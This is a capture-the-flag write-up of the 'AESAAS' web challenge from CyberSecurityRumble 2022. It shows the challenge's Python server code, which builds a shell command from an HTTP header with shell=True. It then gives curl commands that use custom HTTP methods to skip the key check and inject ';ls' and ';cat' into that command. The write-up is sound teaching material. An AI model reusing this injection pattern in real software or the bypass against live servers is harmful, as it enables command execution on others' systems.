CyberSecurityRumble 2022: AESAAS

This post explains how I beat the capture-the-flag web challenge “AESAAS” during CyberSecurityRumble 2022, as part of the 0rganizers team.

Description

The challenge comes in the form of a web application, for which we are provided full source code and a running instance.

The application exposes an API to perform cryptographic operations using AES. The user supplies both the key and the input data. Cryptographic details are not so important to the challenge since it is a web challenge.

Interestingly, the application invokes openssl on the command line to perform encryption/decryption. There may be a command injection vulnerability there.

The relevant sections of the challenge are shown below:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
AES_KEY_WHITELIST = r"^[A-Z0-9]{32}$"
AES_KEY_HEADER = "X-AES-KEY"

class ApiHandler(http.server.BaseHTTPRequestHandler):
    def read_body(self):
        ...

    def do_cli(self, cmd):
        content = self.read_body()
        output = run(cmd, capture_output=True, input=content, shell=True).stdout
        self.send_response(200)
        self.end_headers()
        self.wfile.write(output)
    
    def do_decrypt(self):
        self.do_cli("xxd -r -p|openssl enc -d -aes-128-ecb  -K {}".format(self.headers[AES_KEY_HEADER]))
    
    def do_encrypt(self):
        self.do_cli("openssl enc -aes-128-ecb  -K {}|xxd -p".format(self.headers[AES_KEY_HEADER]))

    def do_POST(self):
        aes_key = self.headers.get(AES_KEY_HEADER, "")
        if re.match(AES_KEY_WHITELIST, aes_key):
            if self.path.startswith("/encrypt"):
                self.do_encrypt()
            elif self.path.startswith("/decrypt"):
                self.do_decrypt()
            else:
                self.send_error(501, "Not supported.")
        else:
            self.send_error(400, "Invalid AES key.")

Solution

We would like to set the key to some command injection payload, but the sanitization on POST with the regex is air-tight. However, the do_ prefix is used by http.server to define HTTP methods, including custom methods. This means that if we use encrypt or decrypt as the request method, we can bypass it.

With curl, we can use the -X switch to pick a custom method.

1
2
3
curl -X decrypt -H 'X-AES-KEY: ;ls' http://chall.rumble.host:58792
# we see there is a file called flag_my_flag_is_amazing.txt
curl -X decrypt -H 'X-AES-KEY: ;cat flag_my_flag_is_amazing.txt' http://chall.rumble.host:58792

Flag

flag{LOOKATMYFLAG_MYFLAGISAMAZING}

Built with Hugo
Theme Stack designed by Jimmy